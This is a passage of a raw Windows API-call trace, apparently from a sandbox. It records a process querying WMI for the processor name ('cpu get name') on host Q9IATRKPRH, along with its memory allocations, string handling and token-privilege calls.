_Dst=0x396628) returned 0x396628 [0148.348] free (_Block=0x2cc8c0) [0148.348] free (_Block=0x2cc920) [0148.348] free (_Block=0x2cca40) [0148.349] ??1CHString@@QEAA@XZ () returned 0x73132b01 [0148.349] WbemLocator:IUnknown:AddRef (This=0x33cba0) returned 0x3 [0148.349] free (_Block=0x2c7fb0) [0148.349] lstrlenW (lpString="") returned 0 [0148.349] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0148.349] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Q9IATRKPRH", cchCount1=10, lpString2="", cchCount2=0) returned 3 [0148.349] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0148.349] malloc (_Size=0x16) returned 0x2cca40 [0148.349] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0148.349] GetCurrentThreadId () returned 0xfbc [0148.349] GetCurrentProcess () returned 0xffffffffffffffff [0148.349] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x1afa80 | out: TokenHandle=0x1afa80*=0x26c) returned 1 [0148.349] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1afa78 | out: TokenInformation=0x0, ReturnLength=0x1afa78) returned 0 [0148.350] malloc (_Size=0x118) returned 0x2ccdf0 [0148.350] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x3, TokenInformation=0x2ccdf0, TokenInformationLength=0x118, ReturnLength=0x1afa78 | out: TokenInformation=0x2ccdf0, ReturnLength=0x1afa78) returned 1 [0148.350] AdjustTokenPrivileges (in: TokenHandle=0x26c, DisableAllPrivileges=0, NewState=0x2ccdf0*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=2081630366, Attributes=0x6b9f), (Luid.LowPart=0x0, Luid.HighPart=2935856, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0148.350] free (_Block=0x2ccdf0) [0148.350] CloseHandle (hObject=0x26c) returned 1 [0148.350] lstrlenW (lpString="GET") returned 3 [0148.350] lstrlenW (lpString="get") returned 3 [0148.351] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="GET", cchCount2=3) returned 2 [0148.351] malloc (_Size=0x18) returned 0x2cc920 [0148.351] lstrlenA (lpString="") returned 0 [0148.351] malloc (_Size=0x2) returned 0x2c7fb0 [0148.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr="", cbMultiByte=-1, lpWideCharStr=0x2c7fb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0148.351] free (_Block=0x2c7fb0) [0148.351] malloc (_Size=0x18) returned 0x2cc8c0 [0148.351] lstrlenA (lpString="") returned 0 [0148.351] malloc (_Size=0x2) returned 0x2c7fb0 [0148.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr="", cbMultiByte=-1, lpWideCharStr=0x2c7fb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0148.352] free (_Block=0x2c7fb0) [0148.352] malloc (_Size=0x18) returned 0x2cca60 [0148.352] lstrlenA (lpString="") returned 0 [0148.352] malloc (_Size=0x2) returned 0x2cce20 [0148.352] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr="", cbMultiByte=-1, lpWideCharStr=0x2cce20, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0148.352] free (_Block=0x2cce20) [0148.352] malloc (_Size=0x18) returned 0x2cca80 [0148.352] lstrlenA (lpString="") returned 0 [0148.352] malloc (_Size=0x2) returned 0x2cce20 [0148.352] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr="", cbMultiByte=-1, lpWideCharStr=0x2cce20, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0148.352] free (_Block=0x2cce20) [0148.352] malloc (_Size=0x18) returned 0x2ccac0 [0148.352] malloc (_Size=0x18) returned 0x2ccae0 [0148.353] SysStringLen (param_1="") returned 0x0 [0148.353] SysStringLen (param_1="Name") returned 0x4 [0148.353] memcpy (in: _Dst=0x3eb788, _Src=0x399418, _Size=0x2 | out: _Dst=0x3eb788) returned 0x3eb788 [0148.353] memcpy (in: _Dst=0x3eb788, _Src=0x3bd178, _Size=0xa | out: _Dst=0x3eb788) returned 0x3eb788 [0148.353] free (_Block=0x2cc920) [0148.353] free (_Block=0x2ccac0) [0148.353] lstrlenW (lpString="__CLASS") returned 7 [0148.353] lstrlenW (lpString="Name") returned 4 [0148.353] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__CLASS", cchCount2=7) returned 3 [0148.353] lstrlenW (lpString="__DERIVATION") returned 12 [0148.353] lstrlenW (lpString="Name") returned 4 [0148.353] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__DERIVATION", cchCount2=12) returned 3 [0148.353] lstrlenW (lpString="__DYNASTY") returned 9 [0148.354] lstrlenW (lpString="Name") returned 4 [0148.354] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__DYNASTY", cchCount2=9) returned 3 [0148.354] lstrlenW (lpString="__GENUS") returned 7 [0148.354] lstrlenW (lpString="Name") returned 4 [0148.354] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__GENUS", cchCount2=7) returned 3 [0148.354] lstrlenW (lpString="__NAMESPACE") returned 11 [0148.354] lstrlenW (lpString="Name") returned 4 [0148.354] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__NAMESPACE", cchCount2=11) returned 3 [0148.354] lstrlenW (lpString="__PATH") returned 6 [0148.354] lstrlenW (lpString="Name") returned 4 [0148.354] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__PATH", cchCount2=6) returned 3 [0148.354] lstrlenW (lpString="__PROPERTYCOUNT") returned 15 [0148.354] lstrlenW (lpString="Name") returned 4 [0148.354] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__PROPERTYCOUNT", cchCount2=15) returned 3 [0148.354] lstrlenW (lpString="__RELPATH") returned 9 [0148.355] lstrlenW (lpString="Name") returned 4 [0148.355] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__RELPATH", cchCount2=9) returned 3 [0148.355] lstrlenW (lpString="__SERVER") returned 8 [0148.355] lstrlenW (lpString="Name") returned 4 [0148.355] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__SERVER", cchCount2=8) returned 3 [0148.355] lstrlenW (lpString="__SUPERCLASS") returned 12 [0148.355] lstrlenW (lpString="Name") returned 4 [0148.355] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__SUPERCLASS", cchCount2=12) returned 3 [0148.355] lstrlenW (lpString="Select * from WIN32_PROCESSOR") returned 29 [0148.355] malloc (_Size=0x3c) returned 0x2ccc30 [0148.355] lstrlenW (lpString="Select * from WIN32_PROCESSOR") returned 29 [0148.355] wcstok (in: _String="Select * from WIN32_PROCESSOR", _Delimiter=" ", _Context=0xffffffffffffff20 | out: _String="Select", _Context=0xffffffffffffff20) returned="Select" [0148.355] malloc (_Size=0x18) returned 0x2ccac0 [0148.355] free (_Block=0x2cc8c0) [0148.356] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x6e0145005c0003 | out: _String=0x0, _Context=0x6e0145005c0003) returned="*" [0148.356] lstrlenW (lpString="FROM") returned 4 [0148.356] lstrlenW (lpString="*") returned 1 [0148.356] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0148.356] malloc (_Size=0x18) returned 0x2cc8c0 [0148.356] free (_Block=0x2ccac0) [0148.356] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x6e0146005c0003 | out: _String=0x0, _Context=0x6e0146005c0003) returned="from" [0148.356] lstrlenW (lpString="FROM") returned 4 [0148.356] lstrlenW (lpString="from") returned 4 [0148.356] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0148.356] malloc (_Size=0x18) returned 0x2ccac0 [0148.356] free (_Block=0x2cc8c0) [0148.357] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x6e0147005c0003 | out: _String=0x0, _Context=0x6e0147005c0003) returned="WIN32_PROCESSOR" [0148.358] malloc (_Size=0x18) returned 0x2cc8c0 [0148.358] free (_Block=0x2ccac0) [0148.358] free (_Block=0x2ccc30) [0148.360] malloc (_Size=0x18) returned 0x2ccac0 [0148.360] lstrlenA (lpString=" FROM ") returned 6 [0148.360] malloc (_Size=0xe) returned 0x2cc920 [0148.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=" FROM ", cbMultiByte=-1, lpWideCharStr=0x2cc920, cchWideChar=7 | out: lpWideCharStr=" FROM ") returned 7 [0148.360] free (_Block=0x2cc920) [0148.360] malloc (_Size=0x18) returned 0x2cc920 [0148.360] lstrlenA (lpString="SELECT ") returned 7 [0148.360] malloc (_Size=0x10) returned 0x2ccb00 [0148.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr="SELECT ", cbMultiByte=-1, lpWideCharStr=0x2ccb00, cchWideChar=8 | out: lpWideCharStr="SELECT ") returned 8 [0148.361] free (_Block=0x2ccb00) [0148.361] malloc (_Size=0x18) returned 0x2ccb00 [0148.361] SysStringLen (param_1="SELECT ") returned 0x7 [0148.361] SysStringLen (param_1="Name") returned 0x4 [0148.361] memcpy (in: _Dst=0x3eb7b8, _Src=0x399418, _Size=0x10 | out: _Dst=0x3eb7b8) returned 0x3eb7b8 [0148.361] memcpy (in: _Dst=0x3eb7c6, _Src=0x3eb788, _Size=0xa | out: _Dst=0x3eb7c6) returned 0x3eb7c6 [0148.362] malloc (_Size=0x18) returned 0x2ccb20 [0148.362] SysStringLen (param_1="SELECT Name") returned 0xb [0148.362] SysStringLen (param_1=" FROM ") returned 0x6 [0148.362] memcpy (in: _Dst=0x3965d8, _Src=0x3eb7b8, _Size=0x18 | out: _Dst=0x3965d8) returned 0x3965d8 [0148.362] memcpy (in: _Dst=0x3965ee, _Src=0x3bd178, _Size=0xe | out: _Dst=0x3965ee) returned 0x3965ee [0148.362] malloc (_Size=0x18) returned 0x2cd220 [0148.362] SysStringLen (param_1="SELECT Name FROM ") returned 0x11 [0148.362] SysStringLen (param_1="WIN32_PROCESSOR") returned 0xf [0148.362] memcpy (in: _Dst=0x3af698, _Src=0x3965d8, _Size=0x24 | out: _Dst=0x3af698) returned 0x3af698 [0148.362] memcpy (in: _Dst=0x3af6ba, _Src=0x3b9328, _Size=0x20 | out: _Dst=0x3af6ba) returned 0x3af6ba [0148.363] free (_Block=0x2cca60) [0148.363] free (_Block=0x2ccb20) [0148.363] free (_Block=0x2ccb00) [0148.363] free (_Block=0x2cc920) [0148.363] free (_Block=0x2ccac0) [0148.363] ??0CHString@@QEAA@XZ () returned 0x1ab930 [0148.363] GetCurrentThreadId () returned 0xfbc [0148.363] CoCreateInstance (in: rclsid=0xff9b73d0*(Data1=0x8d1c559d, Data2=0x84f0, Data3=0x4bb3, Data4=([0]=0xa7, [1]=0xd5, [2]=0x56, [3]=0xa7, [4]=0x43, [5]=0x5a, [6]=0x9b, [7]=0xa6)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff9b73e0*(Data1=0xbfbf883a, Data2=0xcad7, Data3=0x11d3, Data4=([0]=0xa1, [1]=0x1b, [2]=0x0, [3]=0x10, [4]=0x5a, [5]=0x1f, [6]=0x51, [7]=0x5a)), ppv=0xffa229c0 | out: ppv=0xffa229c0*=0x3b93c0) returned 0x0 [0148.368] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0148.368] ??0CHString@@QEAA@XZ () returned 0x1ab930 [0148.368] GetCurrentThreadId () returned 0xfbc [0148.368] malloc (_Size=0x18) returned 0x2ccac0 [0148.369] malloc (_Size=0x18) returned 0x2cc920 [0148.369] malloc (_Size=0x18) returned 0x2ccb00 [0148.369] malloc (_Size=0x18) returned 0x2ccb20 [0148.369] malloc (_Size=0x18) returned 0x2cca60 [0148.369] SysStringLen (param_1="\\\\") returned 0x2 [0148.369] SysStringLen (param_1="Q9IATRKPRH") returned 0xa [0148.369] memcpy (in: _Dst=0x3965d8, _Src=0x399418, _Size=0x6 | out: _Dst=0x3965d8) returned 0x3965d8 [0148.369] memcpy (in: _Dst=0x3965dc, _Src=0x3eb7b8, _Size=0x16 | out: _Dst=0x3965dc) returned 0x3965dc [0148.369] malloc (_Size=0x18) returned 0x2cd240 [0148.369] SysStringLen (param_1="\\\\Q9IATRKPRH") returned 0xc [0148.369] SysStringLen (param_1="\\") returned 0x1 [0148.370] memcpy (in: _Dst=0x3eac08, _Src=0x3965d8, _Size=0x1a | out: _Dst=0x3eac08) returned 0x3eac08 [0148.370] memcpy (in: _Dst=0x3eac20, _Src=0x38f698, _Size=0x4 | out: _Dst=0x3eac20) returned 0x3eac20 [0148.370] malloc (_Size=0x18) returned 0x2cd260 [0148.370] SysStringLen (param_1="\\\\Q9IATRKPRH\\") returned 0xd [0148.370] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0148.370] memcpy (in: _Dst=0x396678, _Src=0x3eac08, _Size=0x1c | out: _Dst=0x396678) returned 0x396678 [0148.370] memcpy (in: _Dst=0x396692, _Src=0x3b4d08, _Size=0x16 | out: _Dst=0x396692) returned 0x396692 [0148.370] free (_Block=0x2cd240) [0148.370] free (_Block=0x2cca60) [0148.370] free (_Block=0x2ccb20) [0148.371] free (_Block=0x2ccb00) [0148.371] free (_Block=0x2cc920) [0148.371] free (_Block=0x2ccac0) [0148.371] malloc (_Size=0x18) returned 0x2ccac0 [0148.371] malloc (_Size=0x18) returned 0x2cc920 [0148.371] malloc (_Size=0x18) returned 0x2ccb00 [0148.371] WbemLocator:IWbemLocator:ConnectServer (in: This=0x33cba0, strNetworkResource="\\\\Q9IATRKPRH\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xffa229d0 | out: ppNamespace=0xffa229d0*=0x3a6660) returned 0x0 [0148.383] free (_Block=0x2ccb00) [0148.383] free (_Block=0x2cc920) [0148.383] free (_Block=0x2ccac0) [0148.384] CoSetProxyBlanket (pProxy=0x3a6660, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0148.384] free (_Block=0x2cd260) [0148.384] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0148.384] ??0CHString@@QEAA@XZ () returned 0x1ab840 [0148.384] GetCurrentThreadId () returned 0xfbc [0148.385] free (_Block=0x2cca80) [0148.385] malloc (_Size=0x18) returned 0x2cca80 [0148.385] ??0CHString@@QEAA@XZ () returned 0x1ab7f0 [0148.385] GetCurrentThreadId () returned 0xfbc [0148.385] CoCreateInstanceEx (in: Clsid=0xff9b73b0*(Data1=0x674b6698, Data2=0xee92, Data3=0x11d0, Data4=([0]=0xad, [1]=0x71, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd8, [6]=0xfd, [7]=0xff)), punkOuter=0x0, dwClsCtx=0x1, pServerInfo=0x0, dwCount=0x1, pResults=0x1ab7a0 | out: pResults=((pIID=0xff9b7380*(Data1=0x44aca674, Data2=0xe8fc, Data3=0x11d0, Data4=([0]=0xa0, [1]=0x7c, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pItf=0x3b8510, hr=0x0))) returned 0x0 [0148.388] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0148.388] malloc (_Size=0x18) returned 0x2ccac0 [0148.389] IWbemServices:ExecQuery (in: This=0x3a6660, strQueryLanguage="WQL", strQuery="SELECT Name FROM WIN32_PROCESSOR", lFlags=48, pCtx=0x0, ppEnum=0x1ab850 | out: ppEnum=0x1ab850*=0x398dd0) returned 0x0 [0148.402] free (_Block=0x2ccac0) [0148.402] malloc (_Size=0x18) returned 0x2ccac0 [0148.402] WbemContext:IWbemContext:SetValue (This=0x3b8510, wszName="ExcludeSystemProperties", lFlags=0, pValue=0x1ab8b0*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffff, varVal2=0x0)) returned 0x0 [0148.402] free (_Block=0x2ccac0) [0148.402] CoSetProxyBlanket (pProxy=0x398dd0, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0148.476] IEnumWbemClassObject:Next (in: This=0x398dd0, lTimeout=-1, uCount=0x1, apObjects=0x1ab858, puReturned=0x1ab870 | out: apObjects=0x1ab858*=0x3e5de0, puReturned=0x1ab870*=0x1) returned 0x0 [0148.567] WbemObjectTextSrc:IWbemObjectTextSrc:GetText (in: This=0x3b93c0, lFlags=0, pObj=0x3e5de0, uObjTextFormat=0x1, pCtx=0x3b8510, strText=0x1ab860 | out: strText=0x1ab860*="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x0 [0148.586] malloc (_Size=0x18) returned 0x2ccac0 [0148.586] malloc (_Size=0x18) returned 0x2cc920 [0148.586] SysStringLen (param_1="") returned 0x5 [0148.587] SysStringLen (param_1="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x96 [0148.587] memcpy (in: _Dst=0x3c3db8, _Src=0x399418, _Size=0xc | out: _Dst=0x3c3db8) returned 0x3c3db8 [0148.587] memcpy (in: _Dst=0x3c3dc2, _Src=0x3c3b18, _Size=0x12e | out: _Dst=0x3c3dc2) returned 0x3c3dc2 [0148.587] free (_Block=0x2cca80) [0148.587] free (_Block=0x2ccac0) [0148.587] IUnknown:Release (This=0x3e5de0) returned 0x0 [0148.587] IEnumWbemClassObject:Next (in: This=0x398dd0, lTimeout=-1, uCount=0x1, apObjects=0x1ab858, puReturned=0x1ab870 | out: apObjects=0x1ab858*=0x0, puReturned=0x1ab870*=0x0) returned 0x1 [0148.596] malloc (_Size=0x18) returned 0x2ccac0 [0148.596] malloc (_Size=0x18) returned 0x2cca80 [0148.596] SysStringLen (param_1="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x9b [0148.596] SysStringLen (param_1="") returned 0x6 [0148.597] memcpy (in: _Dst=0x3c3f08, _Src=0x3c3db8, _Size=0x138 | out: _Dst=0x3c3f08) returned 0x3c3f08 [0148.597] memcpy (in: _Dst=0x3c403e, _Src=0x3ebab8, _Size=0xe | out: _Dst=0x3c403e) returned 0x3c403e [0148.597] free (_Block=0x2cc920) [0148.597] free (_Block=0x2ccac0) [0148.597] free (_Block=0x2cca80) [0148.597] malloc (_Size=0x18) returned 0x2cca80 [0148.598] IUnknown:Release (This=0x398dd0) returned 0x0 [0148.601] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0148.601] free (_Block=0x2cca80) [0148.601] free (_Block=0x2cd220) [0148.601] free (_Block=0x2cc8c0) [0148.601] free (_Block=0x2ccae0) [0148.601] malloc (_Size=0x18) returned 0x2ccae0 [0148.601] malloc (_Size=0x18) returned 0x2cc8c0 [0148.601] SysStringLen (param_1="") returned 0x1b [0148.602] SysStringLen (param_1="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0xa1 [0148.602] memcpy (in: _Dst=0x3e13d8, _Src=0x396628, _Size=0x38 | out: _Dst=0x3e13d8) returned 0x3e13d8 [0148.602] memcpy (in: _Dst=0x3e140e, _Src=0x3c3f08, _Size=0x144 | out: _Dst=0x3e140e) returned 0x3e140e [0148.602] free (_Block=0x2cca20) [0148.602] free (_Block=0x2ccae0) [0148.602] malloc (_Size=0x18) returned 0x2ccae0 [0148.602] malloc (_Size=0x18) returned 0x2cca20 [0148.602] SysStringLen (param_1="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0xbc [0148.602] SysStringLen (param_1="") returned 0xa [0148.603] memcpy (in: _Dst=0x3c36b8, _Src=0x3e13d8, _Size=0x17a | out: _Dst=0x3c36b8) returned 0x3c36b8 [0148.603] memcpy (in: _Dst=0x3c3830, _Src=0x3ebab8, _Size=0x16 | out: _Dst=0x3c3830) returned 0x3c3830 [0148.603] free (_Block=0x2cc8c0) [0148.603] free (_Block=0x2ccae0) [0148.603] ??0CHString@@QEAA@XZ () returned 0x1afae0 [0148.603] malloc (_Size=0x18) returned 0x2ccae0 [0148.603] malloc (_Size=0x20) returned 0x2ccc30 [0148.603] memcpy_s (in: _Destination=0x2ccc30, _DestinationSize=0x1e, _Source=0x3ebab8, _SourceSize=0x14 | out: _Destination=0x2ccc30) returned 0x0 [0148.603] lstrlenW (lpString="&") returned 1 [0148.603] lstrlenW (lpString="&") returned 5 [0148.603] lstrlenW (lpString="<") returned 1 [0148.603] lstrlenW (lpString="<") returned 4 [0148.604] lstrlenW (lpString=">") returned 1 [0148.604] lstrlenW (lpString=">") returned 4 [0148.604] lstrlenW (lpString="'") returned 1 [0148.604] lstrlenW (lpString="'") returned 6 [0148.604] lstrlenW (lpString="\"") returned 1 [0148.604] lstrlenW (lpString=""") returned 6 [0148.604] malloc (_Size=0x18) returned 0x2cc8c0 [0148.604] free (_Block=0x2ccae0) [0148.605] free (_Block=0x2ccc30) [0148.605] ?Format@CHString@@QEAAXPEBGZZ () returned 0x2cd9fc [0148.605] malloc (_Size=0x18) returned 0x2ccae0 [0148.605] free (_Block=0x2cc8e0) [0148.605] free (_Block=0x2cc8c0) [0148.606] ??1CHString@@QEAA@XZ () returned 0x73132b01 [0148.606] ??0CHString@@QEAA@XZ () returned 0x1afad8 [0148.606] malloc (_Size=0x18) returned 0x2cc8c0 [0148.606] malloc (_Size=0x18) returned 0x2cc8e0 [0148.606] malloc (_Size=0x20) returned 0x2ccc30 [0148.606] memcpy_s (in: _Destination=0x2ccc30, _DestinationSize=0x1e, _Source=0x3965d8, _SourceSize=0x1a | out: _Destination=0x2ccc30) returned 0x0 [0148.606] lstrlenW (lpString="&") returned 1 [0148.606] lstrlenW (lpString="&") returned 5 [0148.606] lstrlenW (lpString="<") returned 1 [0148.606] lstrlenW (lpString="<") returned 4 [0148.606] lstrlenW (lpString=">") returned 1 [0148.606] lstrlenW (lpString=">") returned 4 [0148.606] lstrlenW (lpString="'") returned 1 [0148.607] lstrlenW (lpString="'") returned 6 [0148.607] lstrlenW (lpString="\"") returned 1 [0148.607] lstrlenW (lpString=""") returned 6 [0148.607] malloc (_Size=0x18) returned 0x2cca80 [0148.607] free (_Block=0x2cc8e0) [0148.608] free (_Block=0x2ccc30) [0148.608] ?Format@CHString@@QEAAXPEBGZZ () returned 0x2cd9fc [0148.608] malloc (_Size=0x18) returned 0x2cc8e0 [0148.608] malloc (_Size=0x18) returned 0x2ccac0 [0148.608] SysStringLen (param_1="") returned 0x9 [0148.608] SysStringLen (param_1=" cpu get name") returned 0x28 [0148.608] memcpy (in: _Dst=0x3af698, _Src=0x3ebab8, _Size=0x14 | out: _Dst=0x3af698) returned 0x3af698 [0148.608] memcpy (in: _Dst=0x3af6aa, _Src=0x3b0678, _Size=0x52 | out: _Dst=0x3af6aa) returned 0x3af6aa [0148.608] free (_Block=0x2cc8c0) [0148.608] free (_Block=0x2cc8e0) [0148.609] ??0CHString@@QEAA@XZ () returned 0x1afac8 [0148.609] malloc (_Size=0x18) returned 0x2cc8e0 [0148.609] ??0CHString@@QEAA@XZ () returned 0x1afa58 [0148.609] malloc (_Size=0x18) returned 0x2cc8c0 [0148.609] malloc (_Size=0x8) returned 0x2cce20 [0148.609] memmove_s (in: _Destination=0x2cce20, _DestinationSize=0x8, _Source=0x2c63e0, _SourceSize=0x8 | out: _Destination=0x2cce20) returned 0x0 [0148.609] malloc (_Size=0x18) returned 0x2cc920 [0148.609] malloc (_Size=0x20) returned 0x2ccc30 [0148.609] memcpy_s (in: _Destination=0x2ccc30, _DestinationSize=0x1e, _Source=0x399448, _SourceSize=0x14 | out: _Destination=0x2ccc30) returned 0x0 [0148.609] lstrlenW (lpString="&") returned 1 [0148.610] lstrlenW (lpString="&") returned 5 [0148.610] lstrlenW (lpString="<") returned 1 [0148.610] lstrlenW (lpString="<") returned 4 [0148.610] lstrlenW (lpString=">") returned 1 [0148.610] lstrlenW (lpString=">") returned 4 [0148.610] lstrlenW (lpString="'") returned 1 [0148.610] lstrlenW (lpString="'") returned 6 [0148.610] lstrlenW (lpString="\"") returned 1 [0148.610] lstrlenW (lpString=""") returned 6 [0148.610] malloc (_Size=0x18) returned 0x2ccb00 [0148.610] free (_Block=0x2cc920) [0148.611] free (_Block=0x2ccc30) [0148.611] ?Format@CHString@@QEAAXPEBGZZ () returned 0x2cdd5c [0148.611] malloc (_Size=0x18) returned 0x2cc920 [0148.612] malloc (_Size=0x18) returned 0x2ccb20 [0148.612] SysStringLen (param_1="") returned 0xa [0148.612] SysStringLen (param_1="Q9IATRKPRH") returned 0x17 [0148.612] memcpy (in: _Dst=0x3b0678, _Src=0x3ebab8, _Size=0x16 | out: _Dst=0x3b0678) returned 0x3b0678 [0148.612] memcpy (in: _Dst=0x3b068c, _Src=0x396628, _Size=0x30 | out: _Dst=0x3b068c) returned 0x3b068c [0148.612] free (_Block=0x2cc8c0) [0148.612] free (_Block=0x2cc920) [0148.612] malloc (_Size=0x18) returned 0x2cc920 [0148.612] malloc (_Size=0x18) returned 0x2cc8c0 [0148.612] SysStringLen (param_1="Q9IATRKPRH") returned 0x21 [0148.612] SysStringLen (param_1="") returned 0xb [0148.613] memcpy (in: _Dst=0x37e5b8, _Src=0x3b0678, _Size=0x44 | out: _Dst=0x37e5b8) returned 0x37e5b8 [0148.613] memcpy (in: _Dst=0x37e5fa, _Src=0x399448, _Size=0x18 | out: _Dst=0x37e5fa) returned 0x37e5fa [0148.613] free (_Block=0x2ccb20) [0148.613] free (_Block=0x2cc920) [0148.613] free (_Block=0x2ccb00) [0148.613] free (_Block=0x2cce20) [0148.613] ??1CHString@@QEAA@XZ () returned 0x73132b01 [0148.613] malloc (_Size=0x18) returned 0x2ccb00 [0148.613] SysStringLen (param_1="") returned 0x17 [0148.613] SysStringLen (param_1="Q9IATRKPRH") returned 0x2c [0148.614] memcpy (in: _Dst=0x3b0678, _Src=0x3965d8, _Size=0x30 | out: _Dst=0x3b0678) returned 0x3b0678 [0148.614] memcpy (in: _Dst=0x3b06a6, _Src=0x37e5b8, _Size=0x5a | out: _Dst=0x3b06a6) returned 0x3b06a6 [0148.614] free (_Block=0x2cc8e0) [0148.614] lstrlenW (lpString="LIST") returned 4 [0148.614] lstrlenW (lpString="get") returned 3 [0148.614] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="LIST", cchCount2=4) returned 1 [0148.614] malloc (_Size=0x18) returned 0x2cc8e0 [0148.614] malloc (_Size=0x18) returned 0x2cc920 [0148.614] SysStringLen (param_1="Q9IATRKPRH") returned 0x43 [0148.614] SysStringLen (param_1="") returned 0x18 [0148.614] memcpy (in: _Dst=0x3e4488, _Src=0x3b0678, _Size=0x88 | out: _Dst=0x3e4488) returned 0x3e4488 [0148.614] memcpy (in: _Dst=0x3e450e, _Src=0x396628, _Size=0x32 | out: _Dst=0x3e450e) returned 0x3e450e [0148.615] free (_Block=0x2ccb00) [0148.615] free (_Block=0x2cc8e0) [0148.615] free (_Block=0x2cc8c0) [0148.615] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0148.615] malloc (_Size=0x18) returned 0x2cc8c0 [0148.615] SysStringLen (param_1=" cpu get name") returned 0x31 [0148.615] SysStringLen (param_1="Q9IATRKPRH") returned 0x5b [0148.615] 